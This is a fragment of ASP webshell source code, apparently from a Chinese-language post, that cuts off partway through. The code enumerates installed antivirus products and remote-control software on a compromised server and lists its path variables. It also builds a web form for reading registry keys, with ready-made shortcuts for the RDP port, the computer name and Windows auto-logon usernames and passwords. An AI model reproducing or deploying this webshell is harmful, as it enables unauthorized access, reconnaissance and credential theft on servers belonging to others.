asp木马代码解密的随机加密webshell

件支持:<BR>"
Response.Write"-----------------------------<br>"
if Instr(Pathinfo,"perl") Then Response.Write "<li>Perl脚本:支持<br>"
if instr(Pathinfo,"java") Then Response.Write "<li>Java脚本:支持<br>"
if instr(Pathinfo,"microsoft sql server") Then Response.Write "<li>MSSQL数据库服务:支持<br>"
if instr(Pathinfo,"mysql") Then Response.Write "<li>MySQL数据库服务:支持<br>"
if instr(Pathinfo,"oracle") Then Response.Write "<li>Oracle数据库服务:支持<br>"
if instr(Pathinfo,"cfusionmx7") Then Response.Write "<li>CFM服务器:支持<br>"
if instr(Pathinfo,"pcanywhere") Then Response.Write "<li>赛门铁克PcAnywhere控制:支持<br>"
if instr(Pathinfo,"Kill") Then Response.Write "<li>Kill杀毒软件:支持<br>"
if instr(Pathinfo,"kav") Then Response.Write "<li>金山系列杀毒软件:支持<br>"
if instr(Pathinfo,"antivirus") Then Response.Write "<li>赛门铁克杀毒软件:支持<br>"
if instr(Pathinfo,"rising") Then Response.Write "<li>瑞星系列杀毒软件:支持<br>"
paths=split(SoftPath,";")
Response.Write "------------------------------------<br>"
Response.Write "系统当前路径变量:<br>"
For i=Lbound(paths) to Ubound(paths)
Response.Write "<li>"&paths(i)&"<br>"
next
end Function

Function TRegedit()
dim WSHShell,isReadstr
dim autoLoginPath,autoLoginEnableKey,autoLoginUserKey,autoLoginpwdKey
dim autoLoginEnable,autoLoginUser,autoLoginpwd
RW="<br><table width=''600'' bgcolor=''menu'' border=''0'' cellspacing=''1'' cellpadding=''0'' align=''center''><form action=''"&URL&"?Action=TRegedit'' method=''post''>"
RW=RW & "<tr><td height=''20'' align=''center'' bgcolor=''menu''>注册表键值读取操作</td></tr>"
RW=RW & "<tr><td bgcolor=''#FFFFFF'' height=''20''> 快速通道：<a href=''?Action=TRegedit&TRPath=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\&TRName=PortNumber''>[终端端口]</a>"
RW=RW & " <a href=''?Action=TRegedit&TRPath=HKLM\SYSTEM\CurrentControlSet\Control \ComputerName\ComputerName\&TRName=ComputerName''>[本机名称]</a& gt;"
RW=RW & " <a href=''?Action=TRegedit&id=AutoLogon''>[自动登录信息]</a>"
RW=RW & "</td></tr>"
RW=RW & "<tr><td bgcolor=''#FFFFFF''> 项路径：<input name=''TRPath'' value=''" & Request("TRPath") & "'' style=''width:520''></td></tr>"
RW=RW & "<tr><td bgcolor=''#FFFFFF''> 值名称：<input name=''TRName'' value=''" & Request("TRName") & "'' style=''width:200''> <input type=''submit'' value=''确认'' class=''submit''></td></tr></form>"
RW=RW & "<tr><td bgcolor=''#FFFFFF''> 例　如：读取终端端口<br> 项路径：HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\<br>"
RW=RW & " 值名称：PortNumber</td></tr>"

if Request("id")="AutoLogon" then
set W